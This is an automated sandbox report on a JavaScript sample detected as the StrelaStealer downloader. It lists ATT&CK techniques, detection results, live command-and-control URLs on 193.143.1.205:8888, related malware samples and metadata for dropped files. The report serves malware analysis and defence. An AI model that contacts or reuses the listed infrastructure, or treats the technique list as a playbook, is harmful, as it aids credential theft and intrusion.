Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
17201670993971103.js	11%	Virustotal		Browse
17201670993971103.js	13%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.2097343830.000002094D4CB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/X	net.exe, 00000007.00000002.2097343830.000002094D4CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3320214555.0000021EA8600000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2096201635.0000021EA8520000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2097343830.000002094D498000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2097343830.000002094D498000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2097343830.000002094D4F3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2097343830.000002094D4CB000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590589
Start date and time:	2025-01-14 10:18:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	17201670993971103.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 50.16.47.176, 54.224.241.105, 18.213.11.84, 34.237.241.83, 23.209.209.135, 2.23.242.162, 2.22.50.144, 2.22.50.131, 2.19.126.143, 2.19.126.149, 3.233.129.217, 4.175.87.197, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:18:57	API Interceptor	23x Sleep call for process: powershell.exe modified
04:19:01	API Interceptor	1x Sleep call for process: net.exe modified
04:19:01	API Interceptor	2x Sleep call for process: svchost.exe modified
04:19:08	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	12.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	UoEDaAjHGW.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.210.172
	PRODUKTY.EXE.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	199.232.210.172
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	G7T8lHJWWM.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	009.vbe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RFQ.exe	Get hash	malicious	Quasar, PureLog Stealer	Browse	199.232.210.172
	possible SPAM## Msig Insurance Europe Complete via-Sign Monday January 2025.msg	Get hash	malicious	Unknown	Browse	199.232.214.172
	3ClBcOpPUX.exe	Get hash	malicious	CyberGate	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307037588632682
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug4:gJjJGtpTq2yv1AuNZRY3diu8iBVqFK
MD5:	AA8B4BD6EFD2B531197ED547ACEECABF
SHA1:	B17558B1EDD1DF7A435D079AFB3EBA74EDC312B1
SHA-256:	CA9FAA15AD4CF43B2EA713961353EAA0B530A0125B2A343A6659A5EF22BE5863
SHA-512:	12F4EA1B3C093ED4FBD9872BF21E77316914EF6EE0AA3BECB9020AA95D2B6FAE678642AEF1FB757B5BD3631C0B9FB68D22DFA888F0462DA37964D8AE712E3419
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdf19ea8e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585340183464752
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	40EDE4961372C7AD98C6242F4B7471BA
SHA1:	A5CE3D55FDF8B92C2DC6087777FF0A84C62B4F9E
SHA-256:	62B045909C30E25D8EC9AE7B5D821E3ED0C4C8420B56044AA98F6A44BD93B8F0
SHA-512:	EEB6828E707DED378E9DB09177C44C8CE0C27C65A9E2F374B74C78DCF81B7622B5B943D7FFF4EE9AA4F5EC04D249C331AC3A8E8DF905A5FE9438736B1F05A8B8
Malicious:	false
Preview:	...... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................1........}................../`t2.....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.079650656042485
Encrypted:	false
SSDEEP:	3:G7OlyYeQfSXGkGuAJkhvekl1mX2KSyllrekGltll/SPj:G7OlyzlFrxlmfS2Je3l
MD5:	85E6C762EEFB6C5EAEC1745FFF79D134
SHA1:	BC9657B5E681B0DB2391804780E42012D9FC3E51
SHA-256:	2F26E33F8260F73B1DE45CEAC26A442BEC3F9A3DCEAA94411ABB00DC2A0C2C2B
SHA-512:	3E4B45647CCFECCC3FE2A0749D9CF2375BCC78EF223F9B4D0F47BDDB40A2A8FC51269438483A17BEC87F27B9C492F9A90923F5A286901B63DF8A578AF6345C51
Malicious:	false
Preview:	.^......................................;...{.......}.......{...............{.......{...XL......{................../`t2.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.154816440941977
Encrypted:	false
SSDEEP:	6:iO8Lc9YL34q2P92nKuAl9OmbnIFUtWLc9SSvJZmwoLc9SSvDkwO92nKuAl9Ombjd:7zuL34v4HAahFUtB7vJ/f7vD5LHAaSJ
MD5:	A497D094DF021A4C6BCCFC33C9FB0525
SHA1:	E02BD2AA2C1E254FBDFA06D32A63A4C82E53B5C5
SHA-256:	5C93CDEE5792C4F78F786C3F591CEAA85D041032481852BBD062065BFB24F2FE
SHA-512:	92D020AE707233785B63EEC0347D87063EF73C1B6C43B095D8E7E5EDE78EABB7DFA15322C7B737414300FBD7C8C3C1F639B910608F9D6B08C64FFB246FA291BF
Malicious:	false
Preview:	2025/01/14-04:19:01.611 11f0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-04:19:01.627 11f0 Recovering log #3.2025/01/14-04:19:01.627 11f0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.154816440941977
Encrypted:	false
SSDEEP:	6:iO8Lc9YL34q2P92nKuAl9OmbnIFUtWLc9SSvJZmwoLc9SSvDkwO92nKuAl9Ombjd:7zuL34v4HAahFUtB7vJ/f7vD5LHAaSJ
MD5:	A497D094DF021A4C6BCCFC33C9FB0525
SHA1:	E02BD2AA2C1E254FBDFA06D32A63A4C82E53B5C5
SHA-256:	5C93CDEE5792C4F78F786C3F591CEAA85D041032481852BBD062065BFB24F2FE
SHA-512:	92D020AE707233785B63EEC0347D87063EF73C1B6C43B095D8E7E5EDE78EABB7DFA15322C7B737414300FBD7C8C3C1F639B910608F9D6B08C64FFB246FA291BF
Malicious:	false
Preview:	2025/01/14-04:19:01.611 11f0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-04:19:01.627 11f0 Recovering log #3.2025/01/14-04:19:01.627 11f0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1817696623554035
Encrypted:	false
SSDEEP:	6:iO8Lc9DqM+q2P92nKuAl9Ombzo2jMGIFUtWLc9NZmwoLc9tMVkwO92nKuAl9OmbX:7zBqM+v4HAa8uFUtBj/f3MV5LHAa8RJ
MD5:	302F7F010425A7F803B0033183ED6A0F
SHA1:	C657C3F0F9FF55404CDC1549F71CD68CE7D1A3AD
SHA-256:	CEA9533107E6FC8DBA1447E65B4352E6C6F653966C770D3561F4FECE23550FE5
SHA-512:	9A2CCC42F0147B6745EED55E8419936A04DD3B2D4E9F2F82B292E61517888D9B81DF357C6C0661000205243D19A13884CDCB499F2A868BA5B113781ACEAC1ADC
Malicious:	false
Preview:	2025/01/14-04:19:01.741 f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-04:19:01.743 f6c Recovering log #3.2025/01/14-04:19:01.744 f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1817696623554035
Encrypted:	false
SSDEEP:	6:iO8Lc9DqM+q2P92nKuAl9Ombzo2jMGIFUtWLc9NZmwoLc9tMVkwO92nKuAl9OmbX:7zBqM+v4HAa8uFUtBj/f3MV5LHAa8RJ
MD5:	302F7F010425A7F803B0033183ED6A0F
SHA1:	C657C3F0F9FF55404CDC1549F71CD68CE7D1A3AD
SHA-256:	CEA9533107E6FC8DBA1447E65B4352E6C6F653966C770D3561F4FECE23550FE5
SHA-512:	9A2CCC42F0147B6745EED55E8419936A04DD3B2D4E9F2F82B292E61517888D9B81DF357C6C0661000205243D19A13884CDCB499F2A868BA5B113781ACEAC1ADC
Malicious:	false
Preview:	2025/01/14-04:19:01.741 f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-04:19:01.743 f6c Recovering log #3.2025/01/14-04:19:01.744 f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1da8f0f5-245a-4d17-8ec5-99ce0b16489b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9c69baf8-4ed6-4693-beab-bb942b885c92.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0440979609969645
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUD2sBdOg2HRgcaq3QYiubxnP7E4T3OF+:Y2sRdsDdMHx3QYhbxP7nbI+
MD5:	316E8AC3DBBBF90DB94F660ADD47E14E
SHA1:	08E40EF3136DAE88843C4095CA46649A03EA40F6
SHA-256:	54C930A6D00ECB61EC02C2A587A6A219C8D456311DB1624211E91EE78646E075
SHA-512:	457A3C6A12E997E658E34F79C65CFE3ADCDB85A9EA1A6088DC204983E6670BD5A3273073B6F51B262A0D418390B187531B54E36F2FD66E27076718192E428286
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381406353353423","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130473},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3eb817.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237286451991085
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUnhAtx:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLD
MD5:	F6166F63E7FAF4EC825506D0D953CCEE
SHA1:	BEA36CB2DE8A8D77DFF3F6327811537D955D0E93
SHA-256:	AFEBC64AC9406F0D519339B899398E6390BF790BA6ACE72BF132230F1D13D1DE
SHA-512:	4D0ADFFC334F1F61F2E97662181F559E87837FA7904D32004531E2A9438A863956329FA5F4346A1D3594FAE024F476C2D8CB99D87CF01FF2B457CB86DB8D6CDD
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.2050075885086
Encrypted:	false
SSDEEP:	6:iO8Lc96M+q2P92nKuAl9OmbzNMxIFUtWLc90ZZmwoLc9wMVkwO92nKuAl9OmbzNq:7zoM+v4HAa8jFUtBi/fyMV5LHAa84J
MD5:	A5CADC04B372FFB5D0DBC4C723885263
SHA1:	E85D67AEDD3BC500DEFAD44F4F5EFE488ECDFCC5
SHA-256:	82DC4C062BD8BBC0AEDE67EA9FBE76B52B582F92DEA6FB6643B702C6F1FF6829
SHA-512:	B24C6030C670CCE9BF292AE2401281136CEB69D345DAE9D482254254D9EC0582A348E0458AE09BD3B77A3C4AC726DD463E15EFF93316D554C0B503A6B22AC3E6
Malicious:	false
Preview:	2025/01/14-04:19:01.833 f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-04:19:01.834 f6c Recovering log #3.2025/01/14-04:19:01.835 f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.2050075885086
Encrypted:	false
SSDEEP:	6:iO8Lc96M+q2P92nKuAl9OmbzNMxIFUtWLc90ZZmwoLc9wMVkwO92nKuAl9OmbzNq:7zoM+v4HAa8jFUtBi/fyMV5LHAa84J
MD5:	A5CADC04B372FFB5D0DBC4C723885263
SHA1:	E85D67AEDD3BC500DEFAD44F4F5EFE488ECDFCC5
SHA-256:	82DC4C062BD8BBC0AEDE67EA9FBE76B52B582F92DEA6FB6643B702C6F1FF6829
SHA-512:	B24C6030C670CCE9BF292AE2401281136CEB69D345DAE9D482254254D9EC0582A348E0458AE09BD3B77A3C4AC726DD463E15EFF93316D554C0B503A6B22AC3E6
Malicious:	false
Preview:	2025/01/14-04:19:01.833 f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-04:19:01.834 f6c Recovering log #3.2025/01/14-04:19:01.835 f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
